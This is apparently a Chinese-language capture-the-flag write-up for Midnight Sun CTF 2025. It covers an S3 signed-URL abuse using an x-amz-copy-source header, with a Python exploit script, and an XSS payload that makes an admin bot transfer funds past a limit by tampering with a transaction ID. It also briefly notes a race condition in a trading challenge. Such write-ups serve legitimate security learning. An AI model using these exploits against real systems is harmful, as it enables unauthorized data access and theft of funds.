文章

midnight sun ctf 2025 wp

web

shot host

给了一个上传存储桶的网页

大致逻辑

function fread(file) {
    return new Promise((resolve) => {
        const reader = new FileReader();
        reader.onload = () => {
            resolve(reader.result);
        };
        reader.readAsArrayBuffer(file);
    });
}

let downloadLink;

async function getSignedLinks() {
    const imageInput = document.querySelector("#image-input");
    const file = imageInput.files[0];
    const hash = sha256(await fread(file));
    const lambdaUrl = 'https://fkrr63ahomtqkncb4jlwiao5mi0ubyqk.lambda-url.eu-north-1.on.aws/';
    const xhr = new XMLHttpRequest();
    xhr.open("GET", lambdaUrl, false);
    xhr.setRequestHeader("x-amz-content-sha256", hash);
    xhr.send(null);
    const linkRes = JSON.parse(xhr.responseText);
    const uploadRes = await await fetch(linkRes.upload, {
        method: 'PUT',
        'body': file,
        'headers': {
            'Content-Type': "image/png",
            'x-amz-content-sha256': hash
        }
    });
    imageInput.value = '';
    document.querySelector('#download-link-btn').hidden = false;
    downloadLink = linkRes.download;
    alert("Screenshot uploaded");
}

function copyToClipboard() {
    const ta = document.createElement("textarea");
    ta.textContent = downloadLink;
    document.body.appendChild(ta);
    ta.select();
    document.execCommand("copy");
    document.body.removeChild(ta);
}

现在访问https://fkrr63ahomtqkncb4jlwiao5mi0ubyqk.lambda-url.eu-north-1.on.aws/

发现会对以x-amz-*的请求头做出响应

会在回显中uplaod链接里加入这个请求头

正常加入额外请求头,鉴权那里会不通过

这里直接给你签名了,可以随便加

查询aws官方文档https://docs.aws.amazon.com/AmazonS3/latest/API/API_CopyObject.html

发现请求头x-amz-copy-source可以复制对象

于是有以下payload

#!/usr/bin/env python3
import hashlib, requests, sys, pathlib

LAMBDA = "https://fkrr63ahomtqkncb4jlwiao5mi0ubyqk.lambda-url.eu-north-1.on.aws/"

number = 1

sha = hashlib.sha256(b"").hexdigest()

j = requests.get(LAMBDA, headers={"x-amz-copy-source":f"/shot-host/{number}.png"}, timeout=10).json()

requests.put(
    j["upload"],
    headers={
        "Content-Type": "image/png",
        "x-amz-copy-source":f"/shot-host/{number}.png"
    },
    timeout=30,
).raise_for_status()

print(j["download"])

Hackchan

管理员拥有无限money,只需要尝试让管理员处理problems的时候通过xss执行js给我们转账即可

      for (const word of problemWords) {
        const urlPattern = /^http:\/\/web:8000\//;
        if (urlPattern.test(word) && word !== homeOrigin) {
          const currentProblem = page.url()
          await page.goto(word);
          await page.waitForTimeout(2000);
          await page.goto(currentProblem);
        }
      }

当问题描述中出现的url开头是http://web:8000,bot会访问

管理员访问这个页面可以xss:https://hackchan-mjk2mpay.ctf.pro/?action=faq&question=Do+you+have+a+press+kit+available+that+includes+company+logos+and+release+templates%3F<script>alert(1)</script>

因为faq页面会根据我们提交的问题选择不同的模板进行渲染

这个问题对应的模板没有进行html实体化,可以xss

问题在于,当发送的钱数大于10会无法发送

可恶,当时已经在思考怎么绕过的时候队内的师傅已经出了这题了

以下是另一位师傅的

def confirm_transaction():
    with app.app_context():
        pending_transactions = Transaction.query.filter(Transaction.status == 'pending').all()
        for transaction in pending_transactions:
            if transaction.amount <= 10:
                transaction.status = 'confirmed'
            else:
                transaction.status = 'pending-manual-check'
        db.session.commit()

scheduler.add_job(id='confirm_transaction', func=confirm_transaction, trigger="interval", seconds=0.1)

def send_transaction():
    with app.app_context():
        confirmed_transactions = Transaction.query.filter(Transaction.status == 'confirmed').all()

        for transaction in confirmed_transactions:
            sender = User.query.get(transaction.sender_id)
            recipient = User.query.get(transaction.recipient_id)
            if sender and recipient:
                if sender.balance >= transaction.amount:
                    transaction.status = 'sent'
                    if not sender.is_manager:
                        sender.balance -= transaction.amount
                    recipient.balance += transaction.amount
                else:
                    transaction.status = 'rejected'
        db.session.commit()

scheduler.add_job(id='send_transaction', func=send_transaction, trigger="interval", seconds=0.13)

通过xss发送交易请求,发一块钱,然后正则表达式匹配交易id,再发送一个交易请求,此时POST传递前一个交易的id,并把amount改成999999999即可,需要多试几次。

misc

buttcoin_trading

打条件竞争即可

卖的时候进行条件竞争,让holdings为负数,就可以加金钱了

许可协议:  CC BY 4.0